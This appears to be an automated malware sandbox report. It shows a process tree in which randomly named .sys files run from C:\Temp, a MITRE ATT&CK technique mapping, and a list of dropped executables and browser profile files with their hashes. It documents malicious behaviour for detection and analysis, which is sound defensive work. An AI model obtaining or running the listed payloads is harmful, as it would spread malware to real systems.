      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6836,i,13139935853771967990,18152926527439929467,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:14
      4⤵
      PID:5420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6840,i,15351377556666870632,7681612826622908582,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=932 /prefetch:14
      4⤵
      PID:416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6840,i,9587554951995145358,14563664382010927951,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:14
      4⤵
      PID:2700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6432,i,11522020445334855176,13455473955194765136,262144 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:10
      4⤵
      PID:2920

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3248

C:\Temp\pnicausmkfcxupnh.sys
C:\Temp\pnicausmkfcxupnh.sys
1⤵
- Executes dropped EXE
PID:4324

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4744

C:\Temp\pnhfzxrpjh.sys
C:\Temp\pnhfzxrpjh.sys
1⤵
- Executes dropped EXE
PID:4252

C:\Temp\pjhczurpbz.sys
C:\Temp\pjhczurpbz.sys
1⤵
- Executes dropped EXE
PID:1244

C:\Temp\ecztrljebz.sys
C:\Temp\ecztrljebz.sys
1⤵
- Executes dropped EXE
PID:4016

C:\Temp\eywqomgeyw.sys
C:\Temp\eywqomgeyw.sys
1⤵
- Executes dropped EXE
PID:5328

C:\Temp\bvtqligayt.sys
C:\Temp\bvtqligayt.sys
1⤵
- Executes dropped EXE
PID:3736

C:\Temp\lidbvtnlgd.sys
C:\Temp\lidbvtnlgd.sys
1⤵
- Executes dropped EXE
PID:1464

C:\Temp\aysqkifdav.sys
C:\Temp\aysqkifdav.sys
1⤵
- Executes dropped EXE
PID:5828

C:\Temp\causqkicau.sys
C:\Temp\causqkicau.sys
1⤵
- Executes dropped EXE
PID:3236

C:\Temp\xrpjhczxrp.sys
C:\Temp\xrpjhczxrp.sys
1⤵
- Executes dropped EXE
PID:3712

C:\Temp\cwupmhfzwu.sys
C:\Temp\cwupmhfzwu.sys
1⤵
- Executes dropped EXE
PID:5748

C:\Temp\romgecwuom.sys
C:\Temp\romgecwuom.sys
1⤵
PID:3680

C:\Temp\oljhbywurl.sys
C:\Temp\oljhbywurl.sys
1⤵
PID:5928

C:\Temp\qoigaytqoj.sys
C:\Temp\qoigaytqoj.sys
1⤵
PID:3468

C:\Temp\tnljgaywqo.sys
C:\Temp\tnljgaywqo.sys
1⤵
PID:5708

C:\Temp\qnlfdyvqoi.sys
C:\Temp\qnlfdyvqoi.sys
1⤵
PID:3492

C:\Temp\kfdxvsnkif.sys
C:\Temp\kfdxvsnkif.sys
1⤵
PID:2076

C:\Temp\causmkicau.sys
C:\Temp\causmkicau.sys
1⤵
PID:3484

C:\Temp\hfzxusmkhf.sys
C:\Temp\hfzxusmkhf.sys
1⤵
PID:2240

C:\Temp\omhecwurmk.sys
C:\Temp\omhecwurmk.sys
1⤵
PID:6136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bvtqligayt.sys

Path C:\Temp\bvtqligayt.sys
Size 293KB
SHA256 a4f2b801c25b529237eac9918406d499048af7bbcff1b7befe8abec6748e63cf
MD5 77885cb83a9354e8acb5d64fd5d8dd9c
SHA1 18aee6448a35e6725c2edb30a1b9e6fb0d9bbcac
SHA512 ff7a9f21bc66c9aeb3daacdf8b82facbe999e9e2c9cdc1d184c5a6fa53cdedb48d699ecb1a6ed672b60578d55ff0eb47ee313a5ce51d60bfa329580dedc2510b
SSDEEP 3072:htKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:hIJjiJcbI03GBc3ucY5DCSj
TLSH
T19E545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

byvqoljdbv.exe

Path C:\Temp\byvqoljdbv.exe
Size 361KB
SHA256 a68c14cd8b24d6fb981294fca7a91ffcf4e97f68fd0a164e298e52dbb736b11a
MD5 9f40751682aafe11988cd3b6d3d2e657
SHA1 c6c841087c984ad2852882d8d4a6c5d19b5172ac
SHA512 8d094b64f76c90434bf5efdca59c0acbfa8af5cc8a3bc810db220c243fbf7723b9d97036403daead2b08916b0cf35e9a2c09ae1518aada1a232afa5bcf12f856
SSDEEP 6144:zflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:zflfAsiVGjSGecvX
TLSH
T13A747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cwupmkecxu.exe

Path C:\Temp\cwupmkecxu.exe
Size 361KB
SHA256 3af9cc2fcedb94b771f5dee69a4dedc927df34248fc70be55046da4b3aceddcd
MD5 f46b9f24bbea8f9ee7276c58e1a87806
SHA1 1d1078e7cca12234fa0c261a7830a6da944b8fb4
SHA512 a47bb927a33eed8ceb4c86d93cda47fcc07662641cd42c68b2d47a6e38a957669023d25b200b65a1511af39348e0b1b2633390051a338097581cefeed49f5532
SSDEEP 6144:dflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:dflfAsiVGjSGecvX
TLSH
T1DC747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cztrpjgezw.exe

Path C:\Temp\cztrpjgezw.exe
Size 361KB
SHA256 e8015cf13ff2bdbfde42c7708c54abce7d170fdbf22e512d062447b14ea55d03
MD5 85b0b51b1d2d00d1ef6352f9941096b6
SHA1 71786396de07ba39f17de7b55702106ef88257a5
SHA512 f7c3b0edefeeae2f9a3c59060abcc9c217960dbeae2d97dad14e46c32dc13fe14461614c74302bcbb6f914a3059301a10ba0111ce6017e1d0886128c7a1002c5
SSDEEP 6144:HflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:HflfAsiVGjSGecvX
TLSH
T148747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ebztrmjeuo.exe

Path C:\Temp\ebztrmjeuo.exe
Size 361KB
SHA256 b227be1c0b3a55171e271414a76096ef5c97e1fbba0615f67ecbff911f3b5014
MD5 ccbd133c83c02f09d73a9013c8fac3d8
SHA1 357cebec27a443973db5911596493cfebd8c4039
SHA512 dd8a3bae94b44699609df36483496cbb316343409b86097bcfd09cbb6f76589d2085654da9f0e1656118740ac1ad60b32c8dcc89e9ce7f0e1ca949d64090f3ef
SSDEEP 6144:DflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:DflfAsiVGjSGecvX
TLSH
T158747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecztrljebz.sys

Path C:\Temp\ecztrljebz.sys
Size 293KB
SHA256 2de8a4287c5fd6ccdf3c3f6d04e43522fca2aa9f880d828d06bd60dcd8e65d67
MD5 f2d90eab6fe776e0615bad9509d296b3
SHA1 175cadbe8155356bd6cd61f3e18cd90d736ed10d
SHA512 fccbe27d57f617a202d61da53ad52ec2fb7219142375c5166a96d3b6b1dd06b77cb775d6c6c5badd4b724f0b8a2e4e6bb7d507da152a97f04748f08b8b98d617
SSDEEP 3072:5tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:5IJjiJcbI03GBc3ucY5DCSj
TLSH
T11D545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eywqomgeyw.sys

Path C:\Temp\eywqomgeyw.sys
Size 293KB
SHA256 0c4c2095786940c39099395339b6700764909c66a0f753ae8bcac8c132a51967
MD5 906c5b5a5cd450976312a6118b976fdd
SHA1 ff80b2e5f96239333153f38b9cef64b45db58783
SHA512 e75d004cb39e981acde725b07389dce8606e48a792fd046a58e4ad4c024272b22a9c7e548ea23003a3163a3ee41040538e0360852d075a78ef7149980bd96daa
SSDEEP 3072:utKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:uIJjiJcbI03GBc3ucY5DCSj
TLSH
T14F545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_cwupmkecxu.exe

Path C:\Temp\i_cwupmkecxu.exe
Size 361KB
SHA256 e7faa864bce8206c35c61f8fc05051dec8be7e16c31e3e9207c0b78cbd41273e
MD5 217a69e99687ff4e1cd44a7c4c0e00ae
SHA1 996f68bae25ba49adc1f39188de0c7ecbf14a181
SHA512 c0f731727e69e8a56e6924899d44406ca58937c2cb2842c38a53c08e23119b25e3857b2fb8c2acab916e0b2c2b4d88baa1101723a2e13f0695cac26c1e2e7835
SSDEEP 6144:AflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:AflfAsiVGjSGecvX
TLSH
T143747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_cztrpjgezw.exe

Path C:\Temp\i_cztrpjgezw.exe
Size 361KB
SHA256 22868562176390106b82e2c92734537405d8545883551bf0e6e8bbc1039333d9
MD5 ffbd23f8aadb7b1e8d7b9c73062e8ceb
SHA1 a45edd664b3583b5ebc58287760f7b692cf0c697
SHA512 a176e8c4879643ee92c8c9a6aece3651a5457004ea0c71e838a45022c1086e3d722003b364c2d1c06aec6498c24000c36a96451af2e15f9b4211e50722cfae61
SSDEEP 6144:SflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:SflfAsiVGjSGecvX
TLSH
T1AF747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ebztrmjeuo.exe

Path C:\Temp\i_ebztrmjeuo.exe
Size 361KB
SHA256 e953347381585e571b5e9b789003fbc797c4046891289f4614d1955039e6ca29
MD5 ee912654694a8e75604c71bd449749b6
SHA1 2dbc04ccc1d9468381c92db299a4986fdf02fdb6
SHA512 61b72fb8958c56dfa7a7e625f628d75fe0515f8ecf4d924d2ce01bc02a7d33009c6edbe3e34af1f1dd4ea451aa3f024e8cae41cfaa159fb50c48b013cee507e2
SSDEEP 6144:PflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:PflfAsiVGjSGecvX
TLSH
T198747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_spnhfzxspk.exe

Path C:\Temp\i_spnhfzxspk.exe
Size 361KB
SHA256 a00d0391c7fa3b586cb3ba9d16f3ec2dcaeee8f40eb4b6833b8246cc162a98f6
MD5 a330fe3848bc813ea992a2be69000482
SHA1 e359c3beab7dc2f74510498e4afae90936aa095e
SHA512 856f8e0d8b0a19ff0fc1967d2cda262f76420f01b97a190eb26359beffb6613efed21eeddeb67d559e87bc1b42f0604643d0ee0a67a580f1a8d0ca0491164030
SSDEEP 6144:hflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:hflfAsiVGjSGecvX
TLSH
T160747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ytrligebwt.exe

Path C:\Temp\i_ytrligebwt.exe
Size 361KB
SHA256 4b71152ee607e948bf532996952b4bf35c990fb0a02d2eab5e0b6e009bebfeb9
MD5 0c66e7e45598ef3a7f3da46ed4ea55de
SHA1 ff9e85151d493acaea69a7fbe7d2a5723d98fa5e
SHA512 f54b6337fb59858d07bdfdc110c36584ec5f3e134cfb5d7e3ed27806de85139736132f6634fce6a7ec62ac65d6fea5d15b64f3ec254b66006863a0d7cc8b7675
SSDEEP 6144:+flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:+flfAsiVGjSGecvX
TLSH
T1A6747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pjhczurpbz.sys

Path C:\Temp\pjhczurpbz.sys
Size 293KB
SHA256 5ad24e3deac405b65205274c2217e21b91718dfa3aafbc6c7e291d67323dc108
MD5 7c7f296706781b5dcba0df01ea2a9c72
SHA1 f29ded87dd37451ab1a9a1d03043f078e89e83e9
SHA512 a43bbd01e7c831acf873e68e10656d784db62dedcb4becef05d7b26f8b0afc22b474e2ee2eac65a73d732122b97237a5a6bca1abd6d8a6ac142d6451462de6da
SSDEEP 3072:BtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:BIJjiJcbI03GBc3ucY5DCSj
TLSH
T170545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pnhfzxrpjh.sys

Path C:\Temp\pnhfzxrpjh.sys
Size 293KB
SHA256 dbd4bb350bb59e65bd050f6e97f343b7df1c40a946a87b02c57464e05db7e937
MD5 54eb0c5a6581dac3b7dd31275641eb50
SHA1 0306e7213995ba27e5d275401340a635be358dba
SHA512 c746419ba73021d2d58e7e79e82e7e21326d4ef25ef3e068c1fe5b2cf57f092791bcf445eccec1c7026f93c4c86434a5ba22cfe6b30cea635eabfc6922229b8b
SSDEEP 3072:stKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:sIJjiJcbI03GBc3ucY5DCSj
TLSH
T193545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pnicausmkfcxupnh.exe

Path C:\Temp\pnicausmkfcxupnh.exe
Size 361KB
SHA256 7407c40575bc825e57d89f30f6b21b57450d543b2102bb7735399bc139cae918
MD5 000164d9c8ca9455b71f2d2a75f35cad
SHA1 9c34cc924d7a161a06ba318d724949c43b1fccd2
SHA512 60667ce259812c8793ddc141e702fcdab77ae3faec8d3fbb7f8921f4e50b908d5e9d597f3f4d7118eb5306191ed2df3c2346c34990cf5a005b7fbda7aa3cd672
SSDEEP 6144:WflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:WflfAsiVGjSGecvX
TLSH
T143747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pnicausmkfcxupnh.sys

Path C:\Temp\pnicausmkfcxupnh.sys
Size 293KB
SHA256 c9825375e0c170c4d4fa19f506cc9f8aca48f17988cc845568211655dc2de182
MD5 af0fe29936a79147bf08c2bd8a8aa6fc
SHA1 13961c99c784e32a0ddca1c5962be6848aae3b1c
SHA512 5cfe7bf117d15dd44035b2c2d1df748660f3f0d5b16d03deda8930bdba61a0d758116078db7c78593fd9a8062d45e0ee67c1e7a691b271adf4974bc29cebcc57
SSDEEP 3072:mtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:mIJjiJcbI03GBc3ucY5DCSj
TLSH
T193545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spnhfzxspk.exe

Path C:\Temp\spnhfzxspk.exe
Size 361KB
SHA256 f65291c48d700ba4f6b8c55896a121ac91b4b555bf17c7f5045cf22080028719
MD5 4fcd3309f2928a5ed82394bff580720c
SHA1 0ea7a6d461eb2557cd74b3b1c44a18906dab27b6
SHA512 2b61d96cd37f29c105f893445c06b2c842bad4448c81eeb7de541f4c7d6988bcdc87bbc320fba4913002f6e565762f0edb6f88df55de7af0e4a2d7e5f6076ab6
SSDEEP 6144:uflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:uflfAsiVGjSGecvX
TLSH
T1D1747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ytrligebwt.exe

Path C:\Temp\ytrligebwt.exe
Size 361KB
SHA256 df79dbc905c48bc04ab2797ade58e02b3e16124848dbacfeb0aa49f9ab5ae85f
MD5 acf5099596fe07056181e624e70dcf49
SHA1 33078372779684f973e3cf5d86d30c96cb81c1d4
SHA512 390d90cb25b566330fa4776a94f92244e029914b4e7f3c3b3c1cf936785de645cdada985dfd9b2f873748d0ac656dac6a2db187e161cca52d52b4530bacff80e
SSDEEP 6144:WflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:WflfAsiVGjSGecvX
TLSH
T120747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 bf637ca0b28ebd6e948876848ccfe71d201158d460d4ad944f124f9d17ee5472
MD5 827e00d89fccbbde703c679b5c7ff536
SHA1 6d9e235782beb4e6b38fd4db2946f9bfc725110c
SHA512 1d18100db386f25678d8dabb492ab6e15d08e2c5a7d7e6c76bc253df648e2b5438cbc4fcb5a4033a1e14afbda93b271225eb5f545f12663d6bc35ca51239fcc3
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7X:fwUQC5VwBIiElEd2K57P7X
TLSH
T148B3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7b07729a096ac170c497385e58f78a88ff23caf7ad94413809b57f34ffb7bf35
MD5 f9a3992ec8b0935066842eac918a7413
SHA1 35cbf9098e1ea31ae3a1e8ddc31c1eecd9dc7305
SHA512 393e68b52569c7f41b2e65121bd6ff416a77a0d679af32d7514bd0c234dfb8d46c01c958feec8490e784ab30137476bf50b4cbca0c4edf9e6a69b1294b343608
TLSH
T169D092A97A554B4ACC86353A65F2B667A610C97A404A86A88141B2B9C970382239F0AB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 76a21addb9a8403585cb6d4c200097790459a657b8a098d2fe5db3b9f38c6747
MD5 e0a8585e8697d0667c7e6d397b7bdcc8
SHA1 387b005d4e984f96b7cfe7a7878862d0adf7a6d4
SHA512 0d31d12cd56eaacacb90da9ca1e76754f8893b44d135408a438d83228ae4da8da98b89abb0cba26c8ad5cbb09acc5d285a4d4190d38f239700986357b2b8dee9
TLSH
T163D092A97A454B4ACC86353665F1B667A620C97A944A86A88041B2A9C970382239F0BB
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 fdd78223b9ea85c11ee749a805577d801933c898d5784331e5db2601412ba454
MD5 c89576365d1d32b0909efbf7af92619d
SHA1 8d729b90262764b4a637979d1d24d258d3543fe9
SHA512 bcd8b02c8ca62cafb4bea4c8c72b5ea7515d3ea11e3e1a8a4705157d2cac07071c5172d7af87d92c1c10d59d2c78db88bafdf2986d145b451e12368308463726
TLSH
T1835121686336CBD1C3257CB7A0D21AA536F7A67602076F0CD88D68B858093B47C39D2E
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7b2a8568-3515-413c-9f06-88617643f910.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\7b2a8568-3515-413c-9f06-88617643f910.tmp
Size 2KB
SHA256 655fe2068f90b344d6c1afc799f00f4d9aa990867b7c67aa23f789a94cd8ed66
MD5 f5d44c3d22b6a0ef8a320207a92e1384
SHA1 dc0bd74f6a5ace8eea28a887f500a03aab6a77c7
SHA512 122bda8a1246184cbf61a2b43d5c3f2c0db8a247ffe3f505ab4db6eaaab5878d35a2eec2b9886e0a211c5c5f93b6dbdbbf80f461684a654e585b5bd9e8774d89
TLSH
T1CE51BCF3C2E8866ED90156F4BA146E2BCE2D0A14432C3D5AC9E4EF1B97E2471E14195E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 f35505f0bc7735759e8a664a5bad4fdab6bdc45efdfb8ea6298d1dedce509ddc
MD5 4d993efa0e5ba7db31053229952c3739
SHA1 b280cde5792c356ef6c48a6dbef4912b18f4d31e
SHA512 5c5a669f1c253b4f2c3d387fd06642c2b1d5937cbeb6e123870fe603a4157b7d7652afe937a43a1b08caa7584eb802c9eb7cc812785af412ebc8a24d1fb9ac43
SSDEEP 192:sxRiRkyM/jK1Ml8wCC/f6VsAgJGZuRQyzoA8p91/g6+WNIYBjRGPGuIgtJ:sxRi28C/fOsAGw5z/5IKGP3
TLSH
T1FF52C81569249937CCDBD209FA517F53D6F81573A2901E48AAFCCA0C01EBAED6213C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 589ceb356ce30c3acb15beb3fbd2c43d77f70c445c1b4bae31540ebb63ded0e7
MD5 1e90bb05a1fdbd602c1720c7f464e880
SHA1 96dddfe72832f46556cd4c06a63277b455790d8b
SHA512 2fed94c2e28b9aa07203377ad0c7db8c430580947869cd29ffd7ae71db35ec680ef91af1425b274bd7da7b38e677db4ab4a60723c8f97c6a4b9164b1152f1d75
SSDEEP 192:sxRxRkyM/jK1Ml8wCC/f6Vs2gJGZuRQyzoA8p97S/g6+WNC7oo/YB3nRGPGuIgDb:sxRxu8C/fOs2Gw5tS/5sT/yRGPf
TLSH
T12C62DA15653499778CDBD209FA517F53D6F81573A2A10E48AAFC8B0C01EBADD6113C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 09ea9d3eeaaeb816859621ca7b6636055a8403a1f980701459cae88e709f57eb
MD5 c6c1218e76821aaeb8f6aac3f341a737
SHA1 00fef73c092966c6dee2abc1362a754074c05dbf
SHA512 b4908439e1f61eb1015bf35271c13383aee284ae40f8207af21f437b83f2eabbbc3b2233bd6aee16b5a2cf1dbcf24e4e4e456ca6d3ef10ff048349bd00f7b099
SSDEEP 192:sxRxRkyM/jK1Ml8UQdCC/f6Vs2gPGZuRQyzoA8pr7S/g6+WNC7oo/YB3sRGPGuIK:sxRxuqcC/fOs2ww53S/5sT/yGGPp
TLSH
T1DE62EA16692499778CDBE209F6517F53D6F41473A2A10E08AAFCCB0C01EBADD6213C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 0d73c565bb819c3082bd3a1c9fa0379fa1a9cfc32d24c2325e8e881197e76796
MD5 dc5aa88c0b5b6a0238580a370084e923
